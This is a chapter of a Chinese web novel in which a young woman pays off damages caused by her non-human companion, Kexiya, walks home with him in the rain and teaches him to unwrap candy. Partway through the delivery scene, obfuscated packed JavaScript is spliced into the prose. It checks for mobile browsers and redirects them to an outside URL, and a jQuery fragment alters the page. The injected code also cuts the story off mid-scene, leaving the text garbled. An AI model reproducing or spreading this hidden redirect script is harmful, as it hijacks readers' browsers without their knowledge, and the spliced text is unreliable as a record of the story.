22. 生病篇

作品:《女主今天也在害怕[人外]

    公园警卫室,孟若若正用拖把打扫地上的水渍。


    旁边看监控的大爷让她歇手,她没好意思。


    拖把从门口游走到墙边,擦过一双水亮的黑皮靴子,水正源源不断顺着鞋面往下,在脚下汇聚、分枝蔓延。


    是背对着罚站的克西亚。


    祂察觉饲养者靠近,刚扭头,孟若若一指头戳在祂后腰,“老实点,站好!”


    于是,实验品老实面对白墙。


    她又戳一下,“站直了!”


    克西亚并腿、挺胸站直。


    小小的警卫室只有拖把撞来撞去的声音,过了会儿,盯着监控的大爷说:“嗯……快跑回来了。”


    果然,警卫室门口很快出现一个人影,一身深蓝色巡查服饰,衣服破了几处。头上身上满是杂叶枯草,脸也花了,看着挺狼狈。


    刚冲进来,他目光锁定在实验品身上,怒不可遏:“就是你扔我?”


    克西亚盯着白墙,嗯一声。


    哒哒哒哒脚步迈来,矮了半个头的巡查掏出电棍,噼啪滋滋的电流空中浮现,“为什么扔我!”


    “打你,你会死。”


    “……很好,小子,你有种!”巡查咬牙切齿道。


    看着快气出窍的巡查,孟若若在旁边暗暗戳实验品,小声,“嘘。”


    克西亚眨眨眼,恢复一声不吭的风格。


    在巡查动手前,孟若若主动提出补偿公园和他的损失。


    见巡查的脸色变好了一些,她再压着实验品郑重给人道歉。


    “对不起。”孟若若说一句,克西亚跟着学:“对不起。”


    他们态度良好,巡查火气下来。


    在谈补偿金额上,孟若若一律点头,但轮到付款,她捏捏手指,有些局促:“我今天没钱了,可以分期吗?”


    大爷说:“签合同就行,规定时间内还上,也可以给园区捐树种抵钱。”


    如今想弄到复古树种已经不容易,树种可比单纯的数字值钱稀有多了。


    “好。”她转头又对巡查问:“小哥哥,你也一样吗?”


    巡查瞪眼,“我的不能用树抵钱!”


    “好,好的。”


    等签完合同,巡查提着工具箱出去,说是去修长椅。


    孟若若发现他后背裂开一条大口子,衣服从后边分成了两片,露出里边的红背心。


    想想,到时候再赔两件衣服吧。


    快走出警卫室时,大爷提醒:“以后不能这么莽撞了。幸好小王是混血,不然普通人哪里经得起这么折腾?”


    孟若若虚心听教,余光瞥过一旁的实验品,心里想着,克西亚的病必须得好了。


    星纪时晚八点。没有钱,没办法打车,两个人只得步行。


    他们避开热闹的商业街,从临江的街道往幸福路走,许是时间和地区双加持,一路上都看不见人。


    江上升起烟波时,赵泛荇发来一个消息,问她要赔偿合同和对方卡号。


    孟若若疑惑,他怎么会知道的?


    转念想到一个可能,心里咯噔,开了短讯过去。


    对方挂了。


    孟若若再打过去,仍旧挂断,只好发信息过去:“葭葭姐怎么样了?还病重吗?”


    赵泛荇:微笑.jpg


    这个坏东西,肯定在66号房。


    本来不想联系江映葭的,看来作为监护人已经收到信息了,而江映葭不出现,说明她出现不了,一定是病还没好。


    孟若若盯着手环上赵泛荇发来的微笑表情,鼻子哼出气来。


    这个坏东西,小气鬼,小心眼。


    她不再搭理赵泛荇,给江映葭编辑过去消息,“葭葭姐,注意休息,事情已经解决了,别担心,爱你的若若。小猫发射爱心.jpg”


    “要是能去看看葭葭姐就好了。”孟若若叹气。


    上次见到时就已经咳嗽得不行,虽然有个赵泛荇在,但总觉得不安心。


    单凭借两条腿想走到66号房,就是一天一夜也走不到,明天去吗?


    明天要去还得算一算扣除还款后,还剩下多少额度。


    孟若若秀眉皱起来,一脸苦大仇深。


    克西亚看过去时,她嘴巴也嘟起来,翘出的弧度可爱而认真,听她碎碎地计算:“今天花了多少超额的……医药费两万五,拐杖……”


    她算着算着停下不动,不是完全不动,而是小幅度地换脚站,眼神往四处飞瞟。


    “走不动了,脚疼。怎么没有歇的地方?”


    她抬头看祂,眼眶里含着莹莹的泪,“克西亚,我走不动了。”


    一场烟雨从昏黄的灯下笼来,克西亚听罢立即丢下药包去抱她,啪得被打了手,祂不解。


    孟若若要祂转过去,要祂蹲下,然后她趴上祂的背,两只胳膊环住祂的脖子,摇了摇,“走吧走吧,下雨了。”


    “记得把药拿好。”她提醒。


    热乎乎的气息从耳朵拂来,身后一大片都是她的温度,柔软轻盈得像棉花。


    克西亚耳朵动动,单手托住人,另一手抓了地上的药包。


    祂速度很快,风里雨里带着人回到四号房。


    朦朦烟雨在他们后一脚下大了,噼啪噼啪打在雨棚上,打在院子结出青绿果子的苏如树树叶。


    后知后觉的凉意侵袭。


    “到家了,快去洗洗换衣服。”再生病就实在不好了。


    孟若若蹬腿就要下地。克西亚像是听不见,背着人在屋里走来走去,从客厅到卧室,从卧室出来又拐去二楼。


    在祂还要逛去厨房时,薄薄的耳朵尖儿被一只手捏住,往外扯动。


    她凑近了加大音量:“克西亚,我要下去!”


    克西亚浑身一震,似乎拿捏住命脉,手臂缓缓松开。


    孟若若对这个看似低眉顺眼实则毫不老实的实验品有了警惕,踢踢祂的脚,凶巴巴命令:“快去洗澡换衣服。”


    盯着祂进入浴室,孟若若才松口气,气松到口边变成一个喷嚏:“阿秋!”


    耸耸鼻头,在卧室抓了衣服奔向二楼浴室。


    孟若若躲过了淋雨感冒,却没躲过肌肉酸痛。事实证明,一个常年通勤全靠坐车,自己没走过多少路的人,是没办法用双腿征服世界的。


    早晨,手环上的送货信息亮起,送货员朝里喊:“孟小姐,您的糖果到了,孟小姐。”


    其实糖果昨天就送到了,但房里没有人,所以折回去今天又送来。


    这大大小小几乎一车的糖,都是孟若若昨天疯狂下单的产物。


    “来了。”里边人回应。


    隔了十来分钟,送货员见门没打开,又喊了声。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979364|192720||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “来了。”


    又等了会儿,门打开,却见不到人,送货员抱着装糖的货箱子不知道该进该退,这时一个声音从底下弱弱传来。


    “麻烦您搬进去了,我给您另付搬运费。”


    一个穿着连体白色兔子睡衣的女孩儿趴在地上,说话时艰难仰着头,一会儿彻底趴下了,趴成一团毛茸茸。


    送货员从箱子空隙里目光惊愕看她,半晌才回复说:“哦,哦……好的,好的。”


    他绕开女孩儿搬货进入客厅,这一个客厅就比他买的房还大,摆放着只在手环视频里才能见到的古董器件。就桌上那个小鼻噶一样的鼻烟壶,他刷到过,拍卖成交价好几个亿。


    他吞咽了口唾沫,声音干哑:“东西,给您放哪里?”


    “地板上就好。”


    “好的。”


    放下东西抬头,他对上一双竖瞳的眼眸,威慑而冰冷。


    “克西亚,不许吓人!”门口传来女孩儿的喊声。


    送货员走后,孟若若蠕动着爬回客厅。趴地上歇好一会儿,她活力充盈般抱着一个箱子拆开。


    箱子里每一颗糖果都有自己的小隔间,看上去诱人的鲜艳。


    她向呆站着的实验品招招手,把颜色花花绿绿的糖果塞祂手心。


    “你尝尝,我特意买了一些实验品可以吃的糖果。”


    克西亚低头看看,都丢进嘴里,还没嚼,孟若若大喊:“吐出来!”


    祂吐了。


    孟若若恨不能站起来打祂,“你怎么不剥包装就吃?这样会闹肚子的。”


    难怪病总不好,一身的坏毛病。


    克西亚学着她的样子坐下,头挨过去,看看她肩膀,她绸缎的黑发,她纤细的脖颈。祂眼波流转,声音低低的:“没人教。”


    “你……”她该给自己一巴掌。


    “那我教你,你看从这里撕开,然后……”


    圆溜溜裹着糖霜,紫色葡萄味儿的糖果褪去了衣裳,从她手里进到她嘴里,撑起一边的腮帮子。


    嚼嚼嚼,“这样就能吃了,你试试。”


    克西亚目光落在她鼓起的脸颊上,缓缓,祂捏起一个糖,然后,糖爆开了。


    只在指腹间留下黏腻的糖泥。


    “……”


    “算了,还是我给你剥吧。”孟若若嘟嘟囔囔,说祂是笨蛋,怪力份子。


    克西亚耳朵抖抖,当没听见。


    一颗圆润粉色软糖递到眼前,实验品盯着,人催促:“接啊,难道你是三岁需要喂饭的小宝宝?”


    实验品:“不一样。”


    人:“什么不一样?”


    “不是紫色。”


    孟若若恍然大悟:“你要吃葡萄味的啊。”


    于是她把草莓味糖丢进嘴里,克西亚又盯着看,直到孟若若剥了葡萄软糖给祂。


    克西亚囫囵吞了,指指草莓糖果,“这个。”


    祂还指挥上了,可祂不是不要草莓味儿吗?


    孟若若摸不着头脑,还是给祂剥了一颗。克西亚像是得了趣味,吃完一颗又要一颗,很快,箱子里的葡萄、草莓软糖消灭一空。


    祂还要再拆其他箱子,孟若若拦下,告诉祂:“糖吃多了,牙会坏掉。”


    “坏掉,还有很多。”


    祂咧开满是尖牙的嘴。